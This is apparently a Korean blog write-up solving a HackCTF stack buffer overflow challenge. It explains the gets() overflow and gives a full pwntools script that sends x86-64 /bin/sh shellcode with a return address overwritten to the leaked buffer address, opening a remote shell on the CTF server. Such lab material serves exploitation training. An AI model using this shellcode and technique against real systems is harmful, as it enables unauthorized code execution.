문제 풀이 환경 : ubuntu 20.04 |
Analysis
자살 방지 문제란다.
대놓고 gets에서 BOF가 터진다.
buf 주소도 친절하게 출력해준다. 이것과 BOF가 터지는 것을 이용하면 될 것 같다.
How to exploit
보호기법도 클린하니 쉘코드를 이용하면 될 것 같다.(NX disabled)
payload = 쉘코드 + dummy + SFP + RET(쉘코드 주소)
RET에는 쉘코드 자체가 아니라 쉘코드 주소가 들어가야하는 것을 명심명심
Let's exploit
from pwn import *
#p = process('./Simple_size_bof')
p = remote('ctf.j0n9hyun.xyz', 3005)
e = ELF('./Simple_size_bof')
p.recvuntil('buf: ')
buf_addr = int(p.recv(14), 16)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = ''
payload += shellcode
payload += 'A'*(27952-len(shellcode))
payload += 'BBBBBBBB' #SFP
payload += p64(buf_addr) #RET
p.sendline(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] Offset 풀이 (32bit, BOF) (0) | 2021.03.09 |
---|---|
[HackCTF : Pwnable] Simple_Overflow_ver_2 풀이 (32bit, shellcode) (0) | 2021.03.09 |
[HackCTF : Pwnable] x64 Buffer Overflow 풀이 (64bit, BOF) (0) | 2021.03.05 |
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (32bit, ROP) (0) | 2021.03.05 |
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode) (0) | 2021.03.04 |